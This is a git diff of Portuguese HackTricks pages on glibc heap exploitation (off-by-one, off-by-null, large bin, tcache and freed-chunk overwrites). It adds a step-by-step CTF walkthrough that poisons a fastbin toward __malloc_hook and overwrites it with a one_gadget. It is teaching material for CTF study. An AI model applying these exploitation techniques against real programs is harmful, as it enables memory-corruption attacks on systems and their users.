Você pode encontrar outra ótima explicação desse ataque em [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin\_attack/largebin\_explanation0/index.html).
|
Você pode encontrar outra ótima explicação desse ataque em [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin\_attack/largebin\_explanation0/index.html).
|
||||||
|
|
||||||
### Outros exemplos
|
### Outros exemplos
|
||||||
|
|
||||||
* [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
|
* [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
|
||||||
* Ataque de large bin na mesma situação conforme aparece em [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c).
|
* Ataque de large bin na mesma situação em que aparece em [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c).
|
||||||
* A primitiva de escrita é mais complexa, porque `global_max_fast` é inútil aqui.
|
* A primitiva de escrita é mais complexa, porque `global_max_fast` é inútil aqui.
|
||||||
* FSOP é necessário para finalizar o exploit.
|
* FSOP é necessário para finalizar a exploração.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -77,10 +77,10 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,31 +1,31 @@
|
||||||
# Estouro por um byte
|
# Off by one overflow
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Basic Information
|
||||||
|
|
||||||
Ter apenas acesso a um estouro de 1 byte permite a um atacante modificar o campo `size` do próximo chunk. Isso permite manipular quais chunks são realmente liberados, potencialmente gerando um chunk que contém outro chunk legítimo. A exploração é semelhante a [double free](double-free.md) ou chunks sobrepostos.
|
Ter apenas acesso a um overflow de 1B permite que um atacante modifique o campo `size` do próximo chunk. Isso permite manipular quais chunks são realmente liberados, potencialmente gerando um chunk que contém outro chunk legítimo. A exploração é semelhante a [double free](double-free.md) ou chunks sobrepostos.
|
||||||
|
|
||||||
Existem 2 tipos de vulnerabilidades de estouro por um byte:
|
Existem 2 tipos de vulnerabilidades off by one:
|
||||||
|
|
||||||
* Byte arbitrário: Esse tipo permite sobrescrever esse byte com qualquer valor
|
* Byte arbitrário: Este tipo permite sobrescrever esse byte com qualquer valor
|
||||||
* Byte nulo (off-by-null): Esse tipo permite sobrescrever esse byte apenas com 0x00
|
* Byte nulo (off-by-null): Este tipo permite sobrescrever esse byte apenas com 0x00
|
||||||
* Um exemplo comum dessa vulnerabilidade pode ser visto no código a seguir, onde o comportamento de `strlen` e `strcpy` é inconsistente, o que permite definir um byte 0x00 no início do próximo chunk.
|
* Um exemplo comum dessa vulnerabilidade pode ser visto no seguinte código onde o comportamento de `strlen` e `strcpy` é inconsistente, o que permite definir um byte 0x00 no início do próximo chunk.
|
||||||
* Isso pode ser explorado com o [House of Einherjar](house-of-einherjar.md).
|
* Isso pode ser explorado com a [House of Einherjar](house-of-einherjar.md).
|
||||||
* Se estiver usando Tcache, isso pode ser aproveitado para uma situação de [double free](double-free.md).
|
* Se usando Tcache, isso pode ser aproveitado para uma situação de [double free](double-free.md).
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -54,47 +54,86 @@ Entre outras verificações, agora sempre que um chunk é liberado, o tamanho an
|
||||||
|
|
||||||
* [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c)
|
* [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c)
|
||||||
* Este ataque não está mais funcionando devido ao uso de Tcaches.
|
* Este ataque não está mais funcionando devido ao uso de Tcaches.
|
||||||
* Além disso, se você tentar abusar dele usando chunks maiores (para que as tcaches não estejam envolvidas), você receberá o erro: `malloc(): invalid next size (unsorted)`
|
* Além disso, se você tentar abusar dele usando chunks maiores (para que os tcaches não estejam envolvidos), você receberá o erro: `malloc(): invalid next size (unsorted)`
|
||||||
|
|
||||||
### Objetivo
|
### Objetivo
|
||||||
|
|
||||||
* Fazer um chunk estar contido dentro de outro chunk, de modo que o acesso de escrita sobre esse segundo chunk permita sobrescrever o contido
|
* Fazer um chunk ser contido dentro de outro chunk, de modo que o acesso de escrita sobre esse segundo chunk permita sobrescrever o contido.
|
||||||
|
|
||||||
### Requisitos
|
### Requisitos
|
||||||
|
|
||||||
* Estouro de buffer por um para modificar as informações de metadados de tamanho
|
* Off by one overflow para modificar as informações de metadados de tamanho.
|
||||||
|
|
||||||
### Ataque geral de off-by-one
|
### Ataque geral off-by-one
|
||||||
|
|
||||||
* Aloque três chunks `A`, `B` e `C` (digamos tamanhos 0x20), e outro para evitar a consolidação com o chunk superior.
|
* Alocar três chunks `A`, `B` e `C` (digamos tamanhos 0x20), e outro para evitar a consolidação com o top-chunk.
|
||||||
* Libere `C` (inserido na lista de liberação Tcache de 0x20).
|
* Liberar `C` (inserido na lista de chunks livres do Tcache de 0x20).
|
||||||
* Use o chunk `A` para transbordar em `B`. Abusa do off-by-one para modificar o campo `size` de `B` de 0x21 para 0x41.
|
* Usar o chunk `A` para transbordar sobre `B`. Abusar do off-by-one para modificar o campo `size` de `B` de 0x21 para 0x41.
|
||||||
* Agora temos `B` contendo o chunk livre `C`
|
* Agora temos `B` contendo o chunk livre `C`.
|
||||||
* Libere `B` e aloque um chunk de 0x40 (ele será colocado aqui novamente)
|
* Liberar `B` e alocar um chunk de 0x40 (ele será colocado aqui novamente).
|
||||||
* Podemos modificar o ponteiro `fd` de `C`, que ainda está livre (envenenamento de Tcache)
|
* Podemos modificar o ponteiro `fd` de `C`, que ainda está livre (envenenamento do Tcache).
|
||||||
|
|
||||||
### Ataque off-by-null
|
### Ataque off-by-null
|
||||||
|
|
||||||
* 3 chunks de memória (a, b, c) são reservados um após o outro. Em seguida, o do meio é liberado. O primeiro contém uma vulnerabilidade de estouro por um e o atacante a abusa com um 0x00 (se o byte anterior fosse 0x10, faria com que o chunk do meio indicasse que é 0x10 menor do que realmente é).
|
* 3 chunks de memória (a, b, c) são reservados um após o outro. Em seguida, o do meio é liberado. O primeiro contém uma vulnerabilidade de off by one e o atacante a abusa com um 0x00 (se o byte anterior fosse 0x10, isso faria o chunk do meio indicar que é 0x10 menor do que realmente é).
|
||||||
* Em seguida, 2 chunks menores são alocados no meio do chunk liberado (b), no entanto, como `b + b->size` nunca atualiza o chunk c porque o endereço apontado é menor do que deveria.
|
* Em seguida, mais 2 chunks menores são alocados no chunk liberado do meio (b), no entanto, como `b + b->size` nunca atualiza o chunk c porque o endereço apontado é menor do que deveria.
|
||||||
* Em seguida, b1 e c são liberados. Como `c - c->prev_size` ainda aponta para b (agora b1), ambos são consolidados em um único chunk. No entanto, b2 ainda está dentro entre b1 e c.
|
* Então, b1 e c são liberados. Como `c - c->prev_size` ainda aponta para b (b1 agora), ambos são consolidados em um chunk. No entanto, b2 ainda está entre b1 e c.
|
||||||
* Finalmente, é feito um novo malloc para recuperar esta área de memória que na verdade vai conter b2, permitindo ao proprietário do novo malloc controlar o conteúdo de b2.
|
* Finalmente, um novo malloc é realizado reclamando esta área de memória que na verdade vai conter b2, permitindo que o proprietário do novo malloc controle o conteúdo de b2.
|
||||||
|
|
||||||
Esta imagem explica perfeitamente o ataque:
|
Esta imagem explica perfeitamente o ataque:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
|
||||||
|
|
||||||
## Outros Exemplos e Referências
|
## Outros Exemplos & Referências
|
||||||
|
|
||||||
* [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks)
|
* [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks)
|
||||||
* [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
|
* [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
|
||||||
* Off-by-one devido ao `strlen` considerando o campo `size` do próximo chunk.
|
* Off-by-one devido ao `strlen` considerar o campo `size` do próximo chunk.
|
||||||
* Tcache está sendo usado, então ataques gerais de off-by-one funcionam para obter um primitivo de escrita arbitrário com envenenamento de Tcache.
|
* Tcache está sendo usado, então um ataque geral off-by-one funciona para obter uma primitiva de escrita arbitrária com envenenamento do Tcache.
|
||||||
* [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#1-asis-ctf-2016-b00ks)
|
* [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#1-asis-ctf-2016-b00ks)
|
||||||
* É possível abusar de um off-by-one para vazar um endereço do heap porque o byte 0x00 do final de uma string está sendo sobrescrito pelo próximo campo.
|
* É possível abusar de um off by one para vazar um endereço do heap porque o byte 0x00 do final de uma string está sendo sobrescrito pelo próximo campo.
|
||||||
* A escrita arbitrária é obtida abusando do off-by-one para fazer o ponteiro apontar para outro lugar onde uma estrutura falsa com ponteiros falsos será construída. Em seguida, é possível seguir o ponteiro desta estrutura para obter uma escrita arbitrária.
|
* A escrita arbitrária é obtida abusando da escrita off by one para fazer o ponteiro apontar para outro lugar onde uma estrutura falsa com ponteiros falsos será construída. Em seguida, é possível seguir o ponteiro desta estrutura para obter escrita arbitrária.
|
||||||
* O endereço do libc é vazado porque se o heap for estendido usando mmap, a memória alocada por mmap tem um deslocamento fixo do libc.
|
* O endereço da libc é vazado porque se o heap for estendido usando mmap, a memória alocada por mmap tem um deslocamento fixo em relação à libc.
|
||||||
* Finalmente, a escrita arbitrária é abusada para escrever no endereço de \_\_free\_hook com um one gadget.
|
* Finalmente, a escrita arbitrária é abusada para escrever no endereço de \_\_free\_hook com um one gadget.
|
||||||
* [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#instance-2-plaidctf-2015-plaiddb)
|
* [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#instance-2-plaidctf-2015-plaiddb)
|
||||||
* Existe uma vulnerabilidade de off-by-one NULL na função `getline` que lê linhas de entrada do usuário. Esta função é usada para ler a "chave" do conteúdo e não o conteúdo.
|
* Há uma vulnerabilidade de off by one NULL na função `getline` que lê linhas de entrada do usuário. Esta função é usada para ler a "chave" do conteúdo e não o conteúdo.
|
||||||
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) **e** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repositórios do Github.**
|
* No writeup, 5 chunks iniciais são criados:
|
||||||
|
* chunk1 (0x200)
|
||||||
|
* chunk2 (0x50)
|
||||||
|
* chunk5 (0x68)
|
||||||
|
* chunk3 (0x1f8)
|
||||||
|
* chunk4 (0xf0)
|
||||||
|
* chunk defense (0x400) para evitar a consolidação com o top chunk.
|
||||||
|
* Então, os chunks 1, 5 e 3 são liberados, então:
|
||||||
|
* ```python
|
||||||
|
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
|
||||||
|
```
|
||||||
|
* Então, abusando do chunk3 (0x1f8), o off-by-one nulo é abusado escrevendo o prev\_size para `0x4e0`.
|
||||||
|
* Note como os tamanhos dos chunks inicialmente alocados 1, 2, 5 e 3 mais os cabeçalhos de 4 desses chunks somam `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
|
||||||
|
* Em seguida, o chunk 4 é liberado, gerando um chunk que consome todos os chunks até o início:
|
||||||
|
* ```python
|
||||||
|
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
|
||||||
|
```
|
||||||
|
* ```python
|
||||||
|
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
|
||||||
|
```
|
||||||
|
* Então, `0x200` bytes são alocados preenchendo o chunk original 1.
|
||||||
|
* E mais 0x200 bytes são alocados e o chunk2 é destruído e, portanto, não há vazamento e isso não funciona? Talvez isso não devesse ser feito.
|
||||||
|
* Em seguida, aloca outro chunk com 0x58 "a"s (sobrescrevendo o chunk2 e alcançando o chunk5) e modifica o `fd` do chunk de fast bin do chunk5 apontando para `__malloc_hook`.
|
||||||
|
* Em seguida, um chunk de 0x68 é alocado para que o chunk de fast bin falso em `__malloc_hook` seja o próximo chunk de fast bin.
|
||||||
|
* Finalmente, um novo chunk de fast bin de 0x68 é alocado e `__malloc_hook` é sobrescrito com um endereço de `one_gadget`.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Sobrescrevendo um pedaço liberado
|
# Sobrescrevendo um chunk liberado
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -6,32 +6,32 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
- Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
- **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Várias das técnicas propostas de exploração de heap precisam ser capazes de sobrescrever ponteiros dentro de pedaços liberados. O objetivo desta página é resumir as vulnerabilidades potenciais que poderiam conceder esse acesso:
|
Várias das técnicas de exploração de heap propostas precisam ser capazes de sobrescrever ponteiros dentro de chunks liberados. O objetivo desta página é resumir as potenciais vulnerabilidades que poderiam conceder esse acesso:
|
||||||
|
|
||||||
### Simples Uso Após Liberação
|
### Uso Simples Após Liberação
|
||||||
|
|
||||||
Se for possível para o atacante **escrever informações em um pedaço liberado**, ele poderia abusar disso para sobrescrever os ponteiros necessários.
|
Se for possível para o atacante **escrever informações em um chunk liberado**, eles poderiam abusar disso para sobrescrever os ponteiros necessários.
|
||||||
|
|
||||||
### Dupla Liberação
|
### Dupla Liberação
|
||||||
|
|
||||||
Se o atacante puder **`liberar` duas vezes o mesmo pedaço** (liberar outros pedaços entre eles potencialmente) e fazer com que ele seja **2 vezes no mesmo bin**, seria possível para o usuário **alocar o pedaço posteriormente**, **escrever os ponteiros necessários** e então **alocá-lo novamente** acionando as ações do pedaço sendo alocado (por exemplo, ataque de fast bin, ataque de tcache...)
|
Se o atacante puder **`liberar` duas vezes o mesmo chunk** (liberando outros chunks entre potencialmente) e fazê-lo estar **2 vezes no mesmo bin**, seria possível para o usuário **alocar o chunk mais tarde**, **escrever os ponteiros necessários** e então **alocá-lo novamente**, acionando as ações do chunk sendo alocado (por exemplo, ataque de fast bin, ataque de tcache...)
|
||||||
|
|
||||||
### Estouro de Heap
|
### Overflow de Heap
|
||||||
|
|
||||||
Pode ser possível **estourar um pedaço alocado tendo em seguida um pedaço liberado** e modificar alguns cabeçalhos/ponteiros dele.
|
Pode ser possível **transbordar um chunk alocado tendo ao lado um chunk liberado** e modificar alguns cabeçalhos/ponteiros dele.
|
||||||
|
|
||||||
### Estouro por um
|
### Overflow Off-by-one
|
||||||
|
|
||||||
Neste caso, seria possível **modificar o tamanho** do pedaço seguinte na memória. Um atacante poderia abusar disso para **fazer com que um pedaço alocado tenha um tamanho maior**, então **`liberá-lo`**, fazendo com que o pedaço seja **adicionado a um bin de um tamanho diferente** (maior), então alocar o **tamanho falso**, e o ataque terá acesso a um **pedaço com um tamanho maior** do que realmente é, **concedendo assim uma situação de sobreposição de pedaços**, que é explorável da mesma forma que um **estouro de heap** (verifique a seção anterior).
|
Neste caso, seria possível **modificar o tamanho** do chunk seguinte na memória. Um atacante poderia abusar disso para **fazer um chunk alocado ter um tamanho maior**, então **`liberá-lo`**, fazendo com que o chunk fosse **adicionado a um bin de um tamanho diferente** (maior), então alocar o **tamanho falso**, e o ataque terá acesso a um **chunk com um tamanho que é maior** do que realmente é, **concedendo assim uma situação de chunks sobrepostos**, que é explorável da mesma forma que um **overflow de heap** (ver seção anterior).
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -39,11 +39,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
- Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
- **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,70 +1,73 @@
|
||||||
# Ataque ao Tcache Bin
|
# Tcache Bin Attack
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking na AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Basic Information
|
||||||
|
|
||||||
Para mais informações sobre o que é um Tcache bin, consulte esta página:
|
Para mais informações sobre o que é um Tcache bin, confira esta página:
|
||||||
|
|
||||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Em primeiro lugar, observe que o Tcache foi introduzido na versão 2.26 do Glibc.
|
Primeiramente, note que o Tcache foi introduzido na versão 2.26 do Glibc.
|
||||||
|
|
||||||
